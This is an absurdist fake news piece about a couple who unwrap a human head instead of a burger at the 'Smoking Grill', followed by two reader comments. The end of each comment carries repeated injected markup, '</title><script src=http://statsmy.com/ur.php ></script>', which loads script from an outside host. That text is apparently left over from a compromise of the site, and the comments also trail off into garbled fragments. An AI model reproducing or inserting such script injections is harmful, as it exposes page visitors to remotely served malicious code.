For years, the Smoking Grill has been widely considered one of the best burger joints in all Guillotining, North Dakota. People come from miles away to enjoy their juicy burgers, slightly overcooked fries, and dancing robot squirrels. And that's exactly what Marsha and Ted McNeil expected when they arrived at the Smoking Grill just two days ago. What they got instead would change their lives, and perhaps the entire landscape of the burger industry, forever.

"When the burger arrived, it looked a little bigger than they normally do," says her husband Ted. "I thought it was just good luck."

"I unwrapped the burger," says Marsha, a sudden look of horror, or possibly constipation, crossed her face. "And it wasn't a burger at all, it was a human head."

"I've seen a burger before, and this was definitely a human head," says Ted.

The couple screamed in horror upon realizing what lay upon their table. When they finally regained their senses and cleaned up their soiled underpants, they reported this incident to the restaurant manager.

"We've never had this sort of thing happen before," claims Max Faux, daytime manager of the Smoking Grill. "I assured the couple that this was a simple mistake and gave them a coupon for a free small order of fries."

Now the task is to determine if this was in fact a simple mistake or an ill conceived practical joke or some other third occurrence that we haven't even considered. In order to do this, we began by going straight to the man who made the burgers for Marsha and Ted.

"Make the burger Todd, salt the fries Todd, they're always yelling at me," says Jon, who is called Todd due to a glitch in payroll. "Well, I made them a burger they'd never forget... hot off the grill with extra pickles, just the way I always make 'em. Where this human head came from is beyond me, it was a burger when I wrapped it up."

Upon searching the restaurant, we found no indication that this was any sort of intentional act, nor could we locate any individual who was missing a head, though we did find 75 cents behind the malt machine. With all our resources depleted, it seems the truth behind this terrible situation will never be known. In order to prevent such a tragedy from happening again, the Smoking Grill and many other restaurants have now placed signs in their kitchens instructing employees to "Do not serve Human Heads unless specifically requested". Hopefully this measure can prevent anyone else from having to experience first hand the horror that Marsha and Ted McNeil had to endure.

In other unrelated news, the Fast Food Killer, who decapitates his victims at Fast Food Restaurants and leaves their heads on a tray, is still at large.

*sigh* I note quite a bit of unrealistic events in this 'story' Kris. As a first: Before this 'couple' went to the 'restaurant manager', they cleaned their underpants? When a person reaches a certain age it no-longer becomes 'socially accepted' to wear soiled undergarments. But when people finally get some ligitimate reason to soil them (like, pooping in them by accident) surely they will wear it for a while, right? I think so. And second: why the hell does Max Faux give them a 'coupon for a free small order of fries'? I would have charged them extra! How often do you get a human head? For free? I would tuck it under my jacket and run from the restaurant to be sure no-one else (like a headhunter) takes it from me! I expect FACTUAL EVENTS to be reported on this site Kris, not these... these fairytalesuildi </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

3. by Kris on 3/1/2007 4:52:29 PM

According to Microsoft, the spelling is correct for this article. Not sure what's wrong here. And I'm not sure if you've ever soiled yourself (lord knows I have), it's not pleasant to sit around in, even if it was an accident. Plus, the bathrooms at the Smoking Grill are well maintained and quite the spectical in their own right... any reason to use them can not be easily turned down.n.r </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>